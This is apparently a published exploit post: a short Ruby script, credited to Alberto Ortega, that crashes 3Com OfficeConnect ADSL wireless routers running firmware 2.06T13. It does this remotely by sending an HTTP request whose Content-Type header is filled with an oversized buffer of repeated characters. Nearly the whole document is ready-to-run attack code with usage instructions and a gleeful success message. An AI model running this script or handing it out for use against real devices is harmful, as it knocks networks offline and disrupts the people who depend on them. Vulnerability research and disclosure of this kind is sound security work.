3Com OfficeConnect Content-Type Denial Of Service

`###############  
# Model -> Tested on 3Com OfficeConnect ADSL Wireless 11g Firewall Router 3CRWDR100A-72 and 3CRWDR100Y-72  
# Software Version -> Tested on 2.06T13 (Apr 2007, last version for these routers)  
# Attacker -> Tested from GNU/Linux (Sidux and Ubuntu) and Windows 7  
#  
# Exploit languaje -> Ruby  
# Type -> Remote Denial of Service Exploit by HTTP  
#  
# Additional info:  
# - The bug can be exploited with Tamper Data (Firefox Addon) too, LOL.  
#  
###############  
# Discovered and written by Alberto Ortega  
# http://pentbox.net/  
###############  
  
require "socket"  
  
host = ARGV[0]  
buffer = "A"  
send = ""  
  
puts ""  
if !host  
puts " 3Com OfficeConnect ADSL Wireless 11g Firewall Router"  
puts " Remote DoS Exploit by HTTP"  
puts " ------ Usage ---------------------------------------"  
puts " ruby 3com_dosexploit.rb host"  
puts " Ex: ruby 3com_dosexploit.rb 192.168.1.1"  
else  
begin  
socket = TCPSocket.new(host, 80)  
puts "- Exploiting ..."  
# 8.times is enough to DoS  
9.times do  
buffer = "#{buffer}#{buffer}"  
end  
# Here are the HTTP packet, Content-Type value causes the DoS  
send = "GET / HTTP/1.1\r\nContent-Type:#{buffer}\r\n"  
socket.write(send)  
puts "- Successfully! :)"  
rescue  
puts "Connection problem"  
end  
end  
puts ""  
  
`